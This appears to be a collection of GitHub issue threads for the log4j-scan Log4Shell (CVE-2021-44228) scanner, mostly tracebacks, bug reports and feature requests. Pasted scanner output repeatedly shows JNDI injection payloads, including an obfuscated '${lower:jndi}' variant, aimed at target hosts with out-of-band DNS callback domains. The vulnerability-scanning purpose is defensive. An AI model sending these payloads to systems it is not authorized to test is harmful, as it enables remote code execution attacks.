[•] Secure your External Attack Surface with FullHunt.io.
[•] Initiating DNS callback server (interact.sh).
[%] Checking for Log4j RCE CVE-2021-44228.
[•] URL: http://34.66.247.178
[•] URL: http://34.66.247.178 | PAYLOAD: ${jndi:ldap://34.66.247.178.0j35d5s88q15490o89t846j2ht1462g9q.interact.sh/e9dvc4x}
EXCEPTION: HTTPConnectionPool(host='34.66.247.178', port=80): Max retries exceeded with url: /?v=%24%7Bjndi%3Aldap%3A%2F%2F34.66.247.178.0j35d5s88q15490o89t846j2ht1462g9q.interact.sh%2Fe9dvc4x%7D (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7f62ab6c7f40>: Failed to establish a new connection: [Errno 111] Connection refused'))
[•] Payloads sent to all URLs. Waiting for DNS OOB callbacks.
[•] Waiting...
[•] Targets does not seem to be vulnerable.

[Discussion]: Workaround for error on 'time' modules

Script may fail with following error module 'time' has no attribute 'clock'

Lazy workaround is to open the script and add the following just underneath the imports
time.clock = time.time

Not sure if this was only my experience, but wanted to document the quick fix in case any one else struggles

EXCEPTION: HTTPConnectionPool(host='PROXY', port=8080): Read timed out. (read timeout=4)

[•] CVE-2021-44228 - Apache Log4j RCE Scanner
[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
[•] Secure your External Attack Surface with FullHunt.io.
[•] Initiating DNS callback server (interact.sh).
[%] Checking for Log4j RCE CVE-2021-44228.
[•] URL: http://URLTOBESCANNED
[•] URL: http://URLTOBESCANNED | PAYLOAD: ${jndi:ldap://[snip].interact.sh/chef93i}
EXCEPTION: HTTPConnectionPool(host='PROXY', port=8080): Read timed out. (read timeout=4)
[•] Payloads sent to all URLs. Waiting for DNS OOB callbacks.
[•] Waiting...
[•] Targets does not seem to be vulnerable.

I try to scan an get the message in the title. it says the prxy does not respond. then it goes on to say that it scanned. so did the scan work or did it fail?

http-to-https redirects are not handled well during scanning (exception, timeout)

System:

Windows 10 - Python 3.10, Pycharms IDE and Terminal

Linux (WSL2) - Python 3.8

Problem:

http://my.awesome.site is redirected to https://my.awesome.site (set on the firewall).
This causes the following error/throwup/dump:

[•] URL: http://my.awesome.site | PAYLOAD: ${${lower:${lower:jndi}}:${lower:rmi}://my.awesome.site.5rv6412dr7774p2yq16snj4v3842g500s.interact.sh/ikhn0qc}
EXCEPTION: HTTPConnectionPool(host='my.awesome.site', port=80): Max retries exceeded with url: /?v=%24%7B%24%7Blower%3A%24%7Blower%3Ajndi%7D%7D%3A%24%7Blower%3Armi%7D%3A%2F%2Fmy.awesome.site.5rv6412dr7774p2yq16snj4v3842g500s.interact.sh%2Fikhn0qc%7D (Caused by ConnectTimeoutError(<urllib3.connection.HTTPConnection object at 0x7f1d0b353f10>, 'Connection to my.awesome.site timed out. (connect timeout=4)'))
EXCEPTION: HTTPConnectionPool(host='my.awesome.site', port=80): Max retries exceeded with url: /?v=%24%7B%24%7Blower%3A%24%7Blower%3Ajndi%7D%7D%3A%24%7Blower%3Armi%7D%3A%2F%2Fmy.awesome.site.5rv6412dr7774p2yq16snj4v3842g500s.interact.sh%2Fikhn0qc%7D (Caused by ConnectTimeoutError(<urllib3.connection.HTTPConnection object at 0x7f1d0ae45e20>, 'Connection to my.awesome.site timed out. (connect timeout=4)'))
EXCEPTION: HTTPConnectionPool(host='my.awesome.site', port=80): Max retries exceeded with url: /?v=%24%7B%24%7Blower%3A%24%7Blower%3Ajndi%7D%7D%3A%24%7Blower%3Armi%7D%3A%2F%2Fmy.awesome.site.5rv6412dr7774p2yq16snj4v3842g500s.interact.sh%2Fikhn0qc%7D (Caused by ConnectTimeoutError(<urllib3.connection.HTTPConnection object at 0x7f1d0b331ee0>, 'Connection to my.awesome.site timed out. (connect timeout=4)'))

The browser gets a 302 redirect, while the scanner does not follow the redirect and instead retries the same url two more times.
This is very time inefficient and causes my traces to take much longer than they should.

Besides that, the tool works amazingly well, and this is just something that bugs me.
It's fully functional even with that problem.

EXCEPTION: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))

┌──(rootbughunter)-[/opt/log4j-scan]
└─# python3 log4j-scan.py -u "http://ip:port" --dns-callback-provider dnslog.cn
[•] CVE-2021-44228 - Apache Log4j RCE Scanner
[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
[•] Secure your External Attack Surface with FullHunt.io.
[•] Initiating DNS callback server (dnslog.cn).
[%] Checking for Log4j RCE CVE-2021-44228.
[•] URL: http://ip:port
[•] URL: http://ip:port | PAYLOAD: ${jndi:ldap://ip.kdznjq.dnslog.cn/pkoq5vc}
EXCEPTION: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))
[•] Payloads sent to all URLs. Waiting for DNS OOB callbacks.
[•] Waiting...
TTraceback (most recent call last):
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 445, in _make_request
six.raise_from(e, None)
File "", line 3, in raise_from
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 440, in _make_request
httplib_response = conn.getresponse()
File "/usr/lib/python3.9/http/client.py", line 1377, in getresponse
response.begin()
File "/usr/lib/python3.9/http/client.py", line 320, in begin
version, status, reason = self._read_status()
File "/usr/lib/python3.9/http/client.py", line 281, in _read_status
line = str(self.fp.readline(_MAXLINE + 1), "iso-8859-1")
File "/usr/lib/python3.9/socket.py", line 704, in readinto
return self._sock.recv_into(b)
socket.timeout: timed out

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/requests/adapters.py", line 439, in send
resp = conn.urlopen(
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 755, in urlopen
retries = retries.increment(
File "/usr/lib/python3/dist-packages/urllib3/util/retry.py", line 532, in increment
raise six.reraise(type(error), error, _stacktrace)
File "/usr/lib/python3/dist-packages/six.py", line 719, in reraise
raise value
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 699, in urlopen
httplib_response = self._make_request(
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 447, in _make_request
self._raise_timeout(err=e, url=url, timeout_value=read_timeout)
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 336, in _raise_timeout
raise ReadTimeoutError(
urllib3.exceptions.ReadTimeoutError: HTTPConnectionPool(host='www.dnslog.cn', port=80): Read timed out. (read timeout=30)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/opt/log4j-scan/log4j-scan.py", line 337, in
main()
File "/opt/log4j-scan/log4j-scan.py", line 326, in main
records = dns_callback.pull_logs()
File "/opt/log4j-scan/log4j-scan.py", line 150, in pull_logs
req = self.s.get("http://www.dnslog.cn/getrecords.php", timeout=30)
File "/usr/lib/python3/dist-packages/requests/sessions.py", line 555, in get
return self.request('GET', url, **kwargs)
File "/usr/lib/python3/dist-packages/requests/sessions.py", line 542, in request
resp = self.send(prep, **send_kwargs)
File "/usr/lib/python3/dist-packages/requests/sessions.py", line 655, in send
r = adapter.send(request, **kwargs)
File "/usr/lib/python3/dist-packages/requests/adapters.py", line 529, in send
raise ReadTimeout(e, request=request)
requests.exceptions.ReadTimeout: HTTPConnectionPool(host='www.dnslog.cn', port=80): Read timed out. (read timeout=30)

DNS callback error

Traceback (most recent call last):
File "/Users/darkcode/src/log4j-scan/log4j-scan.py", line 362, in
main()
File "/Users/darkcode/src/log4j-scan/log4j-scan.py", line 332, in main
dns_callback = Interactsh()
File "/Users/darkcode/src/log4j-scan/log4j-scan.py", line 195, in init
self.register()
File "/Users/darkcode/src/log4j-scan/log4j-scan.py", line 206, in register
raise Exception("Can not initiate interact.sh DNS callback client")
Exception: Can not initiate interact.sh DNS callback client

any something wrong with this?

identify the vulnerable parameter

tool overall show that show the results but there is no way to detect which parameter is vulnerable.

Needs parameters support

Yesterday only I found potential injection via comment field, so need to implement parameter part as well. Something like fluff where in FUZZ word will be replaced by Payload in request.

EXCEPTION: Invalid return character or leading space in header: User-Agent

I'm getting an EXCEPTION: Invalid return character or leading space in header: User-Agent and then the code runs and then errors on Waiting...

[•] URL: https://url.cloud | PAYLOAD: ${jndi:ldap://url.cloud.<script type="text/javascript">location.replace("https://malware.opendns.com/?url=www.dnslog.cn%2Fgetdomain.php&server=chi2&prefs=&tagging=&nref");</script>

/bbvurkv}
EXCEPTION: Invalid return character or leading space in header: User-Agent
[•] Payloads sent to all URLs. Waiting for DNS OOB callbacks.
[•] Waiting...
Traceback (most recent call last):
File "log4j-scan.py", line 336, in
main()
File "log4j-scan.py", line 325, in main
records = dns_callback.pull_logs()
File "log4j-scan.py", line 150, in pull_logs
return req.json()
File "/usr/lib/python3/dist-packages/requests/models.py", line 897, in json
return complexjson.loads(self.text, **kwargs)
File "/usr/lib/python3/dist-packages/simplejson/init.py", line 518, in loads
return _default_decoder.decode(s)
File "/usr/lib/python3/dist-packages/simplejson/decoder.py", line 370, in decode
obj, end = self.raw_decode(s)
File "/usr/lib/python3/dist-packages/simplejson/decoder.py", line 400, in raw_decode
return self.scan_once(s, idx=_w(s, idx).end())
simplejson.errors.JSONDecodeError: Expecting value: line 1 column 1 (char 0)

Dockerfile - error while/after Initiating DNS callbeack server (interact.sh)

Hi!

I'm using the Dockerfile - as it is - from this repo.

i tired the startparameter "-h" first: WORKS.
after that, for testing i tried the startparameter "-u https://google.de" (or any other url)

now my output looks like this:

[•] CVE-2021-44228 - Apache Log4j RCE Scanner

[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.

[•] Secure your External Attack Surface with FullHunt.io.

[•] Initiating DNS callback server (interact.sh).

Traceback (most recent call last):

  File "/usr/local/lib/python3.10/site-packages/urllib3/connectionpool.py", line 699, in urlopen

    httplib_response = self._make_request(

  File "/usr/local/lib/python3.10/site-packages/urllib3/connectionpool.py", line 382, in _make_request

    self._validate_conn(conn)

  File "/usr/local/lib/python3.10/site-packages/urllib3/connectionpool.py", line 1010, in _validate_conn

    conn.connect()

  File "/usr/local/lib/python3.10/site-packages/urllib3/connection.py", line 416, in connect

    self.sock = ssl_wrap_socket(

  File "/usr/local/lib/python3.10/site-packages/urllib3/util/ssl_.py", line 449, in ssl_wrap_socket

    ssl_sock = _ssl_wrap_socket_impl(

  File "/usr/local/lib/python3.10/site-packages/urllib3/util/ssl_.py", line 493, in _ssl_wrap_socket_impl

    return ssl_context.wrap_socket(sock, server_hostname=server_hostname)

  File "/usr/local/lib/python3.10/ssl.py", line 512, in wrap_socket

    return self.sslsocket_class._create(

  File "/usr/local/lib/python3.10/ssl.py", line 1070, in _create

    self.do_handshake()

  File "/usr/local/lib/python3.10/ssl.py", line 1341, in do_handshake

    self._sslobj.do_handshake()

ConnectionResetError: [Errno 104] Connection reset by peer



During handling of the above exception, another exception occurred:



Traceback (most recent call last):

  File "/usr/local/lib/python3.10/site-packages/requests/adapters.py", line 439, in send

    resp = conn.urlopen(

  File "/usr/local/lib/python3.10/site-packages/urllib3/connectionpool.py", line 755, in urlopen

    retries = retries.increment(

  File "/usr/local/lib/python3.10/site-packages/urllib3/util/retry.py", line 532, in increment

    raise six.reraise(type(error), error, _stacktrace)

  File "/usr/local/lib/python3.10/site-packages/urllib3/packages/six.py", line 769, in reraise

    raise value.with_traceback(tb)

  File "/usr/local/lib/python3.10/site-packages/urllib3/connectionpool.py", line 699, in urlopen

    httplib_response = self._make_request(

  File "/usr/local/lib/python3.10/site-packages/urllib3/connectionpool.py", line 382, in _make_request

    self._validate_conn(conn)

  File "/usr/local/lib/python3.10/site-packages/urllib3/connectionpool.py", line 1010, in _validate_conn

    conn.connect()

  File "/usr/local/lib/python3.10/site-packages/urllib3/connection.py", line 416, in connect

    self.sock = ssl_wrap_socket(

  File "/usr/local/lib/python3.10/site-packages/urllib3/util/ssl_.py", line 449, in ssl_wrap_socket

    ssl_sock = _ssl_wrap_socket_impl(

  File "/usr/local/lib/python3.10/site-packages/urllib3/util/ssl_.py", line 493, in _ssl_wrap_socket_impl

    return ssl_context.wrap_socket(sock, server_hostname=server_hostname)

  File "/usr/local/lib/python3.10/ssl.py", line 512, in wrap_socket

    return self.sslsocket_class._create(

  File "/usr/local/lib/python3.10/ssl.py", line 1070, in _create

    self.do_handshake()

  File "/usr/local/lib/python3.10/ssl.py", line 1341, in do_handshake

    self._sslobj.do_handshake()

urllib3.exceptions.ProtocolError: ('Connection aborted.', ConnectionResetError(104, 'Connection reset by peer'))



During handling of the above exception, another exception occurred:



Traceback (most recent call last):

  File "/app/log4j-scan.py", line 349, in <module>

    main()

  File "/app/log4j-scan.py", line 319, in main

    dns_callback = Interactsh()

  File "/app/log4j-scan.py", line 185, in __init__

    self.register()

  File "/app/log4j-scan.py", line 193, in register

    res = self.session.post(

  File "/usr/local/lib/python3.10/site-packages/requests/sessions.py", line 590, in post

    return self.request('POST', url, data=data, json=json, **kwargs)

  File "/usr/local/lib/python3.10/site-packages/requests/sessions.py", line 542, in request

    resp = self.send(prep, **send_kwargs)

  File "/usr/local/lib/python3.10/site-packages/requests/sessions.py", line 655, in send

    r = adapter.send(request, **kwargs)

  File "/usr/local/lib/python3.10/site-packages/requests/adapters.py", line 498, in send

    raise ConnectionError(err, request=request)

requests.exceptions.ConnectionError: ('Connection aborted.', ConnectionResetError(104, 'Connection reset by peer'))

Covert wait_time to integer

In the following line, sleep() is expecting an Integer while the user input --wait-time will be a string

log4j-scan/log4j-scan.py

Line 337 in 7be0f1c

time.sleep(args.wait_time)

This causes the following exception

Traceback (most recent call last):
  File "/home/KING/Code/Python/log4j-scan/log4j-scan.py", line 336, in <module>
    main()
  File "/home/KING/Code/Python/log4j-scan/log4j-scan.py", line 324, in main
    time.sleep(args.wait_time)
TypeError: an integer is required (got type str)

• Solution

time.sleep(int(args.wait_time))

Crypto.Cipher import AES, PKCS1_OAEP

File "/home/parallels/Log4j-RCE-Scanner/log4j-scan/log4j-scan.py", line 22, in
from Crypto.Cipher import AES, PKCS1_OAEP
ModuleNotFoundError: No module named 'Crypto'

[Feature Request]: Output file for valid findings

Respected author,
First of all thanks for the tool.
I suggest you add an output parameter that will write a JSON with the affected target

Kind regards,
Kljunowsky

IP's

Can this be run against IP's and ports ?

EXCEPTION HTTPSConnectionPool(host=example.com) port 443 read timeout. (read timeout=4)

traceback timed out SSL

python3 log4j-scan.py -l list.urls
[•] CVE-2021-44228 - Apache Log4j RCE Scanner
[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
[•] Secure your External Attack Surface with FullHunt.io.
[•] Initiating DNS callback server (interact.sh).
Traceback (most recent call last):
File "/usr/local/lib/python3.8/site-packages/urllib3/contrib/pyopenssl.py", line 441, in wrap_socket
cnx.do_handshake()
File "/usr/local/lib/python3.8/site-packages/OpenSSL/SSL.py", line 1894, in do_handshake
self._raise_ssl_error(self._ssl, result)
File "/usr/local/lib/python3.8/site-packages/OpenSSL/SSL.py", line 1607, in _raise_ssl_error
raise WantReadError()
OpenSSL.SSL.WantReadError

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/usr/local/lib/python3.8/site-packages/urllib3/connectionpool.py", line 346, in _make_request
self._validate_conn(conn)
File "/usr/local/lib/python3.8/site-packages/urllib3/connectionpool.py", line 850, in validate_conn
conn.connect()
File "/usr/local/lib/python3.8/site-packages/urllib3/connection.py", line 319, in connect
self.sock = ssl_wrap_socket(
File "/usr/local/lib/python3.8/site-packages/urllib3/util/ssl.py", line 329, in ssl_wrap_socket
return context.wrap_socket(sock, server_hostname=server_hostname)
File "/usr/local/lib/python3.8/site-packages/urllib3/contrib/pyopenssl.py", line 445, in wrap_socket
raise timeout('select timed out')
socket.timeout: select timed out

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/usr/local/lib/python3.8/site-packages/requests/adapters.py", line 439, in send
resp = conn.urlopen(
File "/usr/local/lib/python3.8/site-packages/urllib3/connectionpool.py", line 638, in urlopen
retries = retries.increment(method, url, error=e, _pool=self,
File "/usr/local/lib/python3.8/site-packages/urllib3/util/retry.py", line 357, in increment
raise six.reraise(type(error), error, _stacktrace)
File "/usr/local/lib/python3.8/site-packages/urllib3/packages/six.py", line 686, in reraise
raise value
File "/usr/local/lib/python3.8/site-packages/urllib3/connectionpool.py", line 598, in urlopen
httplib_response = self._make_request(conn, method, url,
File "/usr/local/lib/python3.8/site-packages/urllib3/connectionpool.py", line 349, in _make_request
self._raise_timeout(err=e, url=url, timeout_value=conn.timeout)
File "/usr/local/lib/python3.8/site-packages/urllib3/connectionpool.py", line 309, in _raise_timeout
raise ReadTimeoutError(self, url, "Read timed out. (read timeout=%s)" % timeout_value)
urllib3.exceptions.ReadTimeoutError: HTTPSConnectionPool(host='interactsh.com', port=443): Read timed out. (read timeout=30)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "log4j-scan.py", line 335, in
main()
File "log4j-scan.py", line 305, in main
dns_callback = Interactsh()
File "log4j-scan.py", line 175, in init
self.register()
File "log4j-scan.py", line 183, in register
res = self.session.post(
File "/usr/local/lib/python3.8/site-packages/requests/sessions.py", line 581, in post
return self.request('POST', url, data=data, json=json, **kwargs)
File "/usr/local/lib/python3.8/site-packages/requests/sessions.py", line 533, in request
resp = self.send(prep, **send_kwargs)
File "/usr/local/lib/python3.8/site-packages/requests/sessions.py", line 646, in send
r = adapter.send(request, **kwargs)
File "/usr/local/lib/python3.8/site-packages/requests/adapters.py", line 529, in send
raise ReadTimeout(e, request=request)
requests.exceptions.ReadTimeout: HTTPSConnectionPool(host='interactsh.com', port=443): Read timed out. (read timeout=30)

AttributeError: module 'time' has no attribute 'clock' when running with Python 3.9.9

I'm getting this stack trace when launching with

> python3 --version
Python 3.9.9
> uname -v 
Darwin Kernel Version 19.6.0: Tue Jun 22 19:49:55 PDT 2021; root:xnu-6153.141.35~1/RELEASE_X86_64

> python3 log4j-scan.py -u https://myservice.com --run-all-tests
[•] CVE-2021-44228 - Apache Log4j RCE Scanner
[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
[•] Secure your External Attack Surface with FullHunt.io.
[•] Initiating DNS callback server (interact.sh).
Traceback (most recent call last):
  File "/Users/rochec/Documents/Temp/log4j-scan/log4j-scan.py", line 336, in <module>
    main()
  File "/Users/rochec/Documents/Temp/log4j-scan/log4j-scan.py", line 306, in main
    dns_callback = Interactsh()
  File "/Users/rochec/Documents/Temp/log4j-scan/log4j-scan.py", line 156, in __init__
    rsa = RSA.generate(2048)
  File "/usr/local/lib/python3.9/site-packages/Crypto/PublicKey/RSA.py", line 508, in generate
    obj = _RSA.generate_py(bits, rf, progress_func, e)    # TODO: Don't use legacy _RSA module
  File "/usr/local/lib/python3.9/site-packages/Crypto/PublicKey/_RSA.py", line 50, in generate_py
    p = pubkey.getStrongPrime(bits>>1, obj.e, 1e-12, randfunc)
  File "/usr/local/lib/python3.9/site-packages/Crypto/Util/number.py", line 264, in getStrongPrime
    return _fastmath.getStrongPrime(int(N), int(e), false_positive_prob,
  File "/usr/local/lib/python3.9/site-packages/Crypto/Random/_UserFriendlyRNG.py", line 202, in read
    return self._singleton.read(bytes)
  File "/usr/local/lib/python3.9/site-packages/Crypto/Random/_UserFriendlyRNG.py", line 202, in read
    return self._singleton.read(bytes)
  File "/usr/local/lib/python3.9/site-packages/Crypto/Random/_UserFriendlyRNG.py", line 202, in read
    return self._singleton.read(bytes)
  File "/usr/local/lib/python3.9/site-packages/Crypto/Random/_UserFriendlyRNG.py", line 178, in read
    return _UserFriendlyRNG.read(self, bytes)
  File "/usr/local/lib/python3.9/site-packages/Crypto/Random/_UserFriendlyRNG.py", line 129, in read
    self._ec.collect()
  File "/usr/local/lib/python3.9/site-packages/Crypto/Random/_UserFriendlyRNG.py", line 77, in collect
    t = time.clock()
AttributeError: module 'time' has no attribute 'clock'

Seems to be due to this:

The function time.clock() has been removed, after having been deprecated since Python 3.3: use time.perf_counter() or time.process_time() instead, depending on your requirements, to have well-defined behavior.

Error on a first run

When you run command:
python3 log4j-scan.py -h

you get the error message:
File "log4j-scan.py", line 132 fuzzing_headers["Referer"] = f'https://{fuzzing_headers["Referer"]}'

[Feature Request]: Implement Multithreading Options

Does multithreading implemented on this tool? i don't find any snippets for that? could you add that

[Discussion]: Right parameters to check VMware VCenter 6 Log4j vulnerability

Hi,

this script doesn't works with VMware VCenter 6 destination server.
I've tested it inside LAN but it returns always the message like "No vulnerable destination"..

Do this script was tested with VMware VCenter appliance?

Thank you 👋🏻